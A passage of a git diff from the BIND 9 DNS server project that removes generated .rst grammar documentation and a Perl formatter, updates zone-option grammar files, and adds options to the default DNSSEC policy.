+        out = node["_grammar"] + ";"
+        if "_flags" in node:
+            out += " // " + ", ".join(node["_flags"])
+        return out + "\n"
+
+    # a nested map
+    out = ""
+    indent = level * "\t"
+    if not node.get("_ignore_this_level"):
+        if "_id" in node:
+            out += node["_id"] + " "
+        out += "{\n"
+
+    for key, subnode in sorted(node["_mapbody"].items(), key=sortkey):
+        if not subnode.get("_ignore_this_level"):
+            out += f"{indent}{subnode.get('_pprint_name', key)}"
+            inner_grammar = pformat_grammar(node["_mapbody"][key], level=level + 1)
+        else:  # act as if we were not in a map
+            inner_grammar = pformat_grammar(node["_mapbody"][key], level=level)
+        if inner_grammar[0] != ";":  # we _did_ find some arguments
+            out += " "
+        out += inner_grammar
+
+    if not node.get("_ignore_this_level"):
+        out += indent[:-1] + "};"  # unindent the closing bracket
+        if "_flags" in node:
+            out += " // " + ", ".join(node["_flags"])
+    return out + "\n"
+
+
+def main():
+    """
+    Ingest output from cfg_test --grammar and print out statements which use
+    different grammar in different contexts.
+    """
+    with fileinput.input() as filein:
+        grammar = parsegrammar.parse_mapbody(filein)
+    places = statement2block(grammar, ["_top"])
+
+    for statementname, groups in diff_statements(grammar, places).items():
+        if len(groups) > 1:
+            print(f'statement "{statementname}" is inconsistent across blocks')
+            for group in groups:
+                print(
+                    "- path:", ", ".join(" -> ".join(variant.path) for variant in group)
+                )
+                print(" ", pformat_grammar(group[0].subgrammar, level=1))
+            print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/doc/misc/controls.grammar.rst b/doc/misc/controls.grammar.rst
deleted file mode 100644
index 225dba3c6a..0000000000
--- a/doc/misc/controls.grammar.rst
+++ /dev/null
@@ -1,13 +0,0 @@
-::
-
-  controls {
-  	inet ( <ipv4_address> | <ipv6_address> |
-  	    * ) [ port ( <integer> | * ) ] allow
-  	    { <address_match_element>; ... } [
-  	    keys { <string>; ... } ] [ read-only
-  	    <boolean> ];
-  	unix <quoted_string> perm <integer>
-  	    owner <integer> group <integer> [
-  	    keys { <string>; ... } ] [ read-only
-  	    <boolean> ];
-  };
diff --git a/doc/misc/delegation-only.zoneopt b/doc/misc/delegation-only.zoneopt
deleted file mode 100644
index ab86327cbd..0000000000
--- a/doc/misc/delegation-only.zoneopt
+++ /dev/null
@@ -1,3 +0,0 @@
-zone <string> [ <class> ] {
-	type delegation-only;
-};
diff --git a/doc/misc/delegation-only.zoneopt.rst b/doc/misc/delegation-only.zoneopt.rst
deleted file mode 100644
index 71651c3f13..0000000000
--- a/doc/misc/delegation-only.zoneopt.rst
+++ /dev/null
@@ -1,5 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type delegation-only;
-  };
diff --git a/doc/misc/dnssec-policy.default.conf b/doc/misc/dnssec-policy.default.conf
index 1903c472f1..cd033c1760 100644
--- a/doc/misc/dnssec-policy.default.conf
+++ b/doc/misc/dnssec-policy.default.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 dnssec-policy "default" {
 	// Keys
 	keys {
@@ -5,10 +18,12 @@ dnssec-policy "default" {
 	};
 
 	// Key timings
+	cdnskey yes;
+	cds-digest-types { 2; };
 	dnskey-ttl 3600;
 	publish-safety 1h;
 	retire-safety 1h;
-        purge-keys P90D;
+	purge-keys P90D;
 
 	// Signature timings
 	signatures-refresh 5d;
@@ -16,6 +31,7 @@ dnssec-policy "default" {
 	signatures-validity-dnskey 14d;
 
 	// Zone parameters
+	inline-signing yes;
 	max-zone-ttl 86400;
 	zone-propagation-delay 300;
 
diff --git a/doc/misc/dnssec-policy.grammar.rst b/doc/misc/dnssec-policy.grammar.rst
deleted file mode 100644
index da4803c922..0000000000
--- a/doc/misc/dnssec-policy.grammar.rst
+++ /dev/null
@@ -1,19 +0,0 @@
-::
-
-  dnssec-policy <string> {
-  	dnskey-ttl <duration>;
-  	keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime
-  	    <duration_or_unlimited> algorithm <string> [ <integer> ]; ... };
-  	max-zone-ttl <duration>;
-  	nsec3param [ iterations <integer> ] [ optout <boolean> ] [
-  	    salt-length <integer> ];
-  	parent-ds-ttl <duration>;
-  	parent-propagation-delay <duration>;
-  	publish-safety <duration>;
-  	purge-keys <duration>;
-  	retire-safety <duration>;
-  	signatures-refresh <duration>;
-  	signatures-validity <duration>;
-  	signatures-validity-dnskey <duration>;
-  	zone-propagation-delay <duration>;
-  };
diff --git a/doc/misc/format-options.pl b/doc/misc/format-options.pl
deleted file mode 100644
index fa1727b22f..0000000000
--- a/doc/misc/format-options.pl
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use Getopt::Long;
-
-my $strip_not_configured = '';
-
-GetOptions ('strip-not-configured' => \$strip_not_configured);
-
-print <<END;
-
-This is a summary of the named.conf options supported by
-this version of BIND 9.
-
-END
-
-# Break long lines
-while (<>) {
-	chomp;
-	s/\t/        /g;
-	my $line = $_;
-	m!^( *)!;
-	my $indent = $1;
-	my $comment = "";
-	$line =~ s! // not configured!! if $strip_not_configured;
-	if ( $line =~ m!//.*! ) {
-		$comment = $&;
-		$line =~ s!//.*!!;
-	}
-	my $start = "";
-	while (length($line) >= 79 - length($comment)) {
-		$_ = $line;
-		# this makes sure that the comment has something in front of it
-		$len = 75 - length($comment);
-		m!^(.{0,$len}) (.*)$!;
-		$start = $start.$1."\n";
-		$line = $indent."    ".$2;
-	}
-	print $start.$line.$comment."\n";
-}
diff --git a/doc/misc/forward.zoneopt b/doc/misc/forward.zoneopt
index e694813a86..a0d26b12d8 100644
--- a/doc/misc/forward.zoneopt
+++ b/doc/misc/forward.zoneopt
@@ -1,6 +1,5 @@
 zone <string> [ <class> ] {
 	type forward;
-	delegation-only <boolean>;
 	forward ( first | only );
-	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
 };
diff --git a/doc/misc/forward.zoneopt.rst b/doc/misc/forward.zoneopt.rst
deleted file mode 100644
index 1921ff3b57..0000000000
--- a/doc/misc/forward.zoneopt.rst
+++ /dev/null
@@ -1,8 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type forward;
-  	delegation-only <boolean>;
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  };
diff --git a/doc/misc/hint.zoneopt b/doc/misc/hint.zoneopt
index d7ec16c739..2d2c98de4d 100644
--- a/doc/misc/hint.zoneopt
+++ b/doc/misc/hint.zoneopt
@@ -1,6 +1,5 @@
 zone <string> [ <class> ] {
 	type hint;
 	check-names ( fail | warn | ignore );
-	delegation-only <boolean>;
 	file <quoted_string>;
 };
diff --git a/doc/misc/hint.zoneopt.rst b/doc/misc/hint.zoneopt.rst
deleted file mode 100644
index 514b81ddb3..0000000000
--- a/doc/misc/hint.zoneopt.rst
+++ /dev/null
@@ -1,8 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type hint;
-  	check-names ( fail | warn | ignore );
-  	delegation-only <boolean>;
-  	file <quoted_string>;
-  };
diff --git a/doc/misc/http.grammar.rst b/doc/misc/http.grammar.rst
deleted file mode 100644
index dcb66a2a47..0000000000
--- a/doc/misc/http.grammar.rst
+++ /dev/null
@@ -1,5 +0,0 @@
-::
-
-  http <string> {
-  	endpoints { <quoted_string>; ... };
-  };
diff --git a/doc/misc/in-view.zoneopt.rst b/doc/misc/in-view.zoneopt.rst
deleted file mode 100644
index 807167ff9e..0000000000
--- a/doc/misc/in-view.zoneopt.rst
+++ /dev/null
@@ -1,5 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	in-view <string>;
-  };
diff --git a/doc/misc/key.grammar.rst b/doc/misc/key.grammar.rst
deleted file mode 100644
index 142fa8257a..0000000000
--- a/doc/misc/key.grammar.rst
+++ /dev/null
@@ -1,6 +0,0 @@
-::
-
-  key <string> {
-  	algorithm <string>;
-  	secret <string>;
-  };
diff --git a/doc/misc/logging.grammar.rst b/doc/misc/logging.grammar.rst
deleted file mode 100644
index c5e24db034..0000000000
--- a/doc/misc/logging.grammar.rst
+++ /dev/null
@@ -1,17 +0,0 @@
-::
-
-  logging {
-  	category <string> { <string>; ... };
-  	channel <string> {
-  		buffered <boolean>;
-  		file <quoted_string> [ versions ( unlimited | <integer> ) ]
-  		    [ size <size> ] [ suffix ( increment | timestamp ) ];
-  		null;
-  		print-category <boolean>;
-  		print-severity <boolean>;
-  		print-time ( iso8601 | iso8601-utc | local | <boolean> );
-  		severity <log_severity>;
-  		stderr;
-  		syslog [ <syslog_facility> ];
-  	};
-  };
diff --git a/doc/misc/managed-keys.grammar.rst b/doc/misc/managed-keys.grammar.rst
deleted file mode 100644
index 3b3ba88ba1..0000000000
--- a/doc/misc/managed-keys.grammar.rst
+++ /dev/null
@@ -1,6 +0,0 @@
-::
-
-  managed-keys { <string> ( static-key
-      | initial-key | static-ds |
-      initial-ds ) <integer> <integer>
-      <integer> <quoted_string>; ... };, deprecated
diff --git a/doc/misc/master.zoneopt b/doc/misc/master.zoneopt
deleted file mode 100644
index ae47d96b85..0000000000
--- a/doc/misc/master.zoneopt
+++ /dev/null
@@ -1,58 +0,0 @@
-zone <string> [ <class> ] {
-	type ( master | primary );
-	allow-query { <address_match_element>; ... };
-	allow-query-on { <address_match_element>; ... };
-	allow-transfer { <address_match_element>; ... };
-	allow-update { <address_match_element>; ... };
-	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	auto-dnssec ( allow | maintain | off );
-	check-dup-records ( fail | warn | ignore );
-	check-integrity <boolean>;
-	check-mx ( fail | warn | ignore );
-	check-mx-cname ( fail | warn | ignore );
-	check-names ( fail | warn | ignore );
-	check-sibling <boolean>;
-	check-spf ( warn | ignore );
-	check-srv-cname ( fail | warn | ignore );
-	check-wildcard <boolean>;
-	database <string>;
-	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-	dlz <string>;
-	dnskey-sig-validity <integer>;
-	dnssec-dnskey-kskonly <boolean>;
-	dnssec-loadkeys-interval <integer>;
-	dnssec-policy <string>;
-	dnssec-secure-to-insecure <boolean>;
-	dnssec-update-mode ( maintain | no-resign );
-	file <quoted_string>;
-	forward ( first | only );
-	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-	inline-signing <boolean>;
-	ixfr-from-differences <boolean>;
-	journal <quoted_string>;
-	key-directory <quoted_string>;
-	masterfile-format ( map | raw | text );
-	masterfile-style ( full | relative );
-	max-ixfr-ratio ( unlimited | <percentage> );
-	max-journal-size ( default | unlimited | <sizeval> );
-	max-records <integer>;
-	max-transfer-idle-out <integer>;
-	max-transfer-time-out <integer>;
-	max-zone-ttl ( unlimited | <duration> );
-	notify ( explicit | master-only | primary-only | <boolean> );
-	notify-delay <integer>;
-	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	notify-to-soa <boolean>;
-	serial-update-method ( date | increment | unixtime );
-	sig-signing-nodes <integer>;
-	sig-signing-signatures <integer>;
-	sig-signing-type <integer>;
-	sig-validity-interval <integer> [ <integer> ];
-	update-check-ksk <boolean>;
-	update-policy ( local | { ( deny | grant ) <string> ( 6to4-self | external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild | subdomain | tcp-self | wildcard | zonesub ) [ <string> ] <rrtypelist>; ... };
-	zero-no-soa-ttl <boolean>;
-	zone-statistics ( full | terse | none | <boolean> );
-};
diff --git a/doc/misc/master.zoneopt.rst b/doc/misc/master.zoneopt.rst
deleted file mode 100644
index 9bac436947..0000000000
--- a/doc/misc/master.zoneopt.rst
+++ /dev/null
@@ -1,60 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type ( master | primary );
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	allow-transfer { <address_match_element>; ... };
-  	allow-update { <address_match_element>; ... };
-  	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	auto-dnssec ( allow | maintain | off );
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity <boolean>;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( fail | warn | ignore );
-  	check-sibling <boolean>;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard <boolean>;
-  	database <string>;
-  	dialup ( notify | notify-passive | passive | refresh | <boolean> );
-  	dlz <string>;
-  	dnskey-sig-validity <integer>;
-  	dnssec-dnskey-kskonly <boolean>;
-  	dnssec-loadkeys-interval <integer>;
-  	dnssec-policy <string>;
-  	dnssec-secure-to-insecure <boolean>;
-  	dnssec-update-mode ( maintain | no-resign );
-  	file <quoted_string>;
-  	forward ( first | only );
-  	forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-  	inline-signing <boolean>;
-  	ixfr-from-differences <boolean>;
-  	journal <quoted_string>;
-  	key-directory <quoted_string>;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	max-ixfr-ratio ( unlimited | <percentage> );
-  	max-journal-size ( default | unlimited | <sizeval> );
-  	max-records <integer>;
-  	max-transfer-idle-out <integer>;
-  	max-transfer-time-out <integer>;
-  	max-zone-ttl ( unlimited | <duration> );
-  	notify ( explicit | master-only | primary-only | <boolean> );
-  	notify-delay <integer>;
-  	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	notify-to-soa <boolean>;
-  	serial-update-method ( date | increment | unixtime );
-  	sig-signing-nodes <integer>;
-  	sig-signing-signatures <integer>;
-  	sig-signing-type <integer>;
-  	sig-validity-interval <integer> [ <integer> ];
-  	update-check-ksk <boolean>;
-  	update-policy ( local | { ( deny | grant ) <string> ( 6to4-self | external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild | subdomain | tcp-self | wildcard | zonesub ) [ <string> ] <rrtypelist>; ... };
-  	zero-no-soa-ttl <boolean>;
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/mirror.zoneopt b/doc/misc/mirror.zoneopt
index fee1789fe0..cc9dbaa446 100644
--- a/doc/misc/mirror.zoneopt
+++ b/doc/misc/mirror.zoneopt
@@ -3,19 +3,16 @@ zone <string> [ <class> ] {
 	allow-notify { <address_match_element>; ... };
 	allow-query { <address_match_element>; ... };
 	allow-query-on { <address_match_element>; ... };
-	allow-transfer { <address_match_element>; ... };
+	allow-transfer [ port <integer> ] [ transport <string> ] { <address_match_element>; ... };
 	allow-update-forwarding { <address_match_element>; ... };
-	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
+	also-notify [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	check-names ( fail | warn | ignore );
 	database <string>;
 	file <quoted_string>;
 	ixfr-from-differences <boolean>;
 	journal <quoted_string>;
-	masterfile-format ( map | raw | text );
+	masterfile-format ( raw | text );
 	masterfile-style ( full | relative );
-	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	max-ixfr-ratio ( unlimited | <percentage> );
 	max-journal-size ( default | unlimited | <sizeval> );
 	max-records <integer>;
@@ -30,15 +27,14 @@ zone <string> [ <class> ] {
 	multi-master <boolean>;
 	notify ( explicit | master-only | primary-only | <boolean> );
 	notify-delay <integer>;
-	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
 	request-expire <boolean>;
 	request-ixfr <boolean>;
-	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
 	try-tcp-refresh <boolean>;
-	use-alt-transfer-source <boolean>;
 	zero-no-soa-ttl <boolean>;
 	zone-statistics ( full | terse | none | <boolean> );
 };
diff --git a/doc/misc/mirror.zoneopt.rst b/doc/misc/mirror.zoneopt.rst
deleted file mode 100644
index ed63137f8e..0000000000
--- a/doc/misc/mirror.zoneopt.rst
+++ /dev/null
@@ -1,46 +0,0 @@
-::
-
-  zone <string> [ <class> ] {
-  	type mirror;
-  	allow-notify { <address_match_element>; ... };
-  	allow-query { <address_match_element>; ... };
-  	allow-query-on { <address_match_element>; ... };
-  	allow-transfer { <address_match_element>; ... };
-  	allow-update-forwarding { <address_match_element>; ... };
-  	also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	check-names ( fail | warn | ignore );
-  	database <string>;
-  	file <quoted_string>;
-  	ixfr-from-differences <boolean>;
-  	journal <quoted_string>;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	max-ixfr-ratio ( unlimited | <percentage> );
-  	max-journal-size ( default | unlimited | <sizeval> );
-  	max-records <integer>;
-  	max-refresh-time <integer>;
-  	max-retry-time <integer>;
-  	max-transfer-idle-in <integer>;
-  	max-transfer-idle-out <integer>;
-  	max-transfer-time-in <integer>;
-  	max-transfer-time-out <integer>;
-  	min-refresh-time <integer>;
-  	min-retry-time <integer>;
-  	multi-master <boolean>;
-  	notify ( explicit | master-only | primary-only | <boolean> );
-  	notify-delay <integer>;
-  	notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-  	request-expire <boolean>;
-  	request-ixfr <boolean>;
-  	transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ] [ dscp <integer> ];
-  	try-tcp-refresh <boolean>;
-  	use-alt-transfer-source <boolean>;
-  	zero-no-soa-ttl <boolean>;
-  	zone-statistics ( full | terse | none | <boolean> );
-  };
diff --git a/doc/misc/named.conf.rst b/doc/misc/named.conf.rst
deleted file mode 100644
index 2b911e782d..0000000000
--- a/doc/misc/named.conf.rst
+++ /dev/null
@@ -1,1024 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. highlight: console
-
-named.conf - configuration file for **named**
----------------------------------------------
-
-Synopsis
-~~~~~~~~
-
-:program:`named.conf`
-
-Description
-~~~~~~~~~~~
-
-``named.conf`` is the configuration file for ``named``. Statements are
-enclosed in braces and terminated with a semi-colon. Clauses in the
-statements are also semi-colon terminated.  The usual comment styles are
-supported:
-
-C style: /\* \*/
-
- C++ style: // to end of line
-
-Unix style: # to end of line
-
-ACL
-^^^
-
-::
-
-  acl string { address_match_element; ... };
-
-CONTROLS
-^^^^^^^^
-
-::
-
-  controls {
-  	inet ( ipv4_address | ipv6_address |
-  	    * ) [ port ( integer | * ) ] allow
-  	    { address_match_element; ... } [
-  	    keys { string; ... } ] [ read-only
-  	    boolean ];
-  	unix quoted_string perm integer
-  	    owner integer group integer [
-  	    keys { string; ... } ] [ read-only
-  	    boolean ];
-  };
-
-DLZ
-^^^
-
-::
-
-  dlz string {
-  	database string;
-  	search boolean;
-  };
-
-DNSSEC-POLICY
-^^^^^^^^^^^^^
-
-::
-
-  dnssec-policy string {
-  	dnskey-ttl duration;
-  	keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime
-  	    duration_or_unlimited algorithm string [ integer ]; ... };
-  	max-zone-ttl duration;
-  	parent-ds-ttl duration;
-  	parent-propagation-delay duration;
-  	publish-safety duration;
-  	retire-safety duration;
-  	signatures-refresh duration;
-  	signatures-validity duration;
-  	signatures-validity-dnskey duration;
-  	zone-propagation-delay duration;
-  };
-
-DYNDB
-^^^^^
-
-::
-
-  dyndb string quoted_string {
-      unspecified-text };
-
-KEY
-^^^
-
-::
-
-  key string {
-  	algorithm string;
-  	secret string;
-  };
-
-LOGGING
-^^^^^^^
-
-::
-
-  logging {
-  	category string { string; ... };
-  	channel string {
-  		buffered boolean;
-  		file quoted_string [ versions ( unlimited | integer ) ]
-  		    [ size size ] [ suffix ( increment | timestamp ) ];
-  		null;
-  		print-category boolean;
-  		print-severity boolean;
-  		print-time ( iso8601 | iso8601-utc | local | boolean );
-  		severity log_severity;
-  		stderr;
-  		syslog [ syslog_facility ];
-  	};
-  };
-
-MANAGED-KEYS
-^^^^^^^^^^^^
-
-See DNSSEC-KEYS.
-
-::
-
-  managed-keys { string ( static-key
-      | initial-key | static-ds |
-      initial-ds ) integer integer
-      integer quoted_string; ... };, deprecated
-
-MASTERS
-^^^^^^^
-
-::
-
-  masters string [ port integer ] [ dscp
-      integer ] { ( masters | ipv4_address [
-      port integer ] | ipv6_address [ port
-      integer ] ) [ key string ]; ... };
-
-OPTIONS
-^^^^^^^
-
-::
-
-  options {
-  	allow-new-zones boolean;
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-cache { address_match_element; ... };
-  	allow-query-cache-on { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-recursion { address_match_element; ... };
-  	allow-recursion-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( masters |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	answer-cookie boolean;
-  	attach-cache string;
-  	auth-nxdomain boolean; // default changed
-  	auto-dnssec ( allow | maintain | off );
-  	automatic-interface-scan boolean;
-  	avoid-v4-udp-ports { portrange; ... };
-  	avoid-v6-udp-ports { portrange; ... };
-  	bindkeys-file quoted_string;
-  	blackhole { address_match_element; ... };
-  	cache-file quoted_string;
-  	catalog-zones { zone string [ default-masters [ port integer ]
-  	    [ dscp integer ] { ( masters | ipv4_address [ port
-  	    integer ] | ipv6_address [ port integer ] ) [ key
-  	    string ]; ... } ] [ zone-directory quoted_string ] [
-  	    in-memory boolean ] [ min-update-interval duration ]; ... };
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( primary | master |
-  	    secondary | slave | response ) (
-  	    fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	clients-per-query integer;
-  	cookie-algorithm ( aes | siphash24 );
-  	cookie-secret string;
-  	coresize ( default | unlimited | sizeval );
-  	datasize ( default | unlimited | sizeval );
-  	deny-answer-addresses { address_match_element; ... } [
-  	    except-from { string; ... } ];
-  	deny-answer-aliases { string; ... } [ except-from { string; ...
-  	    } ];
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	directory quoted_string;
-  	disable-algorithms string { string;
-  	    ... };
-  	disable-ds-digests string { string;
-  	    ... };
-  	disable-empty-zone string;
-  	dns64 netprefix {
-  		break-dnssec boolean;
-  		clients { address_match_element; ... };
-  		exclude { address_match_element; ... };
-  		mapped { address_match_element; ... };
-  		recursive-only boolean;
-  		suffix ipv6_address;
-  	};
-  	dns64-contact string;
-  	dns64-server string;
-  	dnskey-sig-validity integer;
-  	dnsrps-enable boolean;
-  	dnsrps-options { unspecified-text };
-  	dnssec-accept-expired boolean;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-must-be-secure string boolean;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	dnssec-validation ( yes | no | auto );
-  	dnstap { ( all | auth | client | forwarder |
-  	    resolver | update ) [ ( query | response ) ];
-  	    ... };
-  	dnstap-identity ( quoted_string | none |
-  	    hostname );
-  	dnstap-output ( file | unix ) quoted_string [
-  	    size ( unlimited | size ) ] [ versions (
-  	    unlimited | integer ) ] [ suffix ( increment
-  	    | timestamp ) ];
-  	dnstap-version ( quoted_string | none );
-  	dscp integer;
-  	dual-stack-servers [ port integer ] { ( quoted_string [ port
-  	    integer ] [ dscp integer ] | ipv4_address [ port
-  	    integer ] [ dscp integer ] | ipv6_address [ port
-  	    integer ] [ dscp integer ] ); ... };
-  	dump-file quoted_string;
-  	edns-udp-size integer;
-  	empty-contact string;
-  	empty-server string;
-  	empty-zones-enable boolean;
-  	fetch-quota-params integer fixedpoint fixedpoint fixedpoint;
-  	fetches-per-server integer [ ( drop | fail ) ];
-  	fetches-per-zone integer [ ( drop | fail ) ];
-  	files ( default | unlimited | sizeval );
-  	flush-zones-on-shutdown boolean;
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	fstrm-set-buffer-hint integer;
-  	fstrm-set-flush-timeout integer;
-  	fstrm-set-input-queue-size integer;
-  	fstrm-set-output-notify-threshold integer;
-  	fstrm-set-output-queue-model ( mpsc | spsc );
-  	fstrm-set-output-queue-size integer;
-  	fstrm-set-reopen-interval duration;
-  	geoip-directory ( quoted_string | none );
-  	glue-cache boolean;, deprecated
-  	heartbeat-interval integer;
-  	hostname ( quoted_string | none );
-  	inline-signing boolean;
-  	interface-interval duration;
-  	ixfr-from-differences ( primary | master | secondary | slave |
-  	    boolean );
-  	keep-response-order { address_match_element; ... };
-  	key-directory quoted_string;
-  	lame-ttl duration;
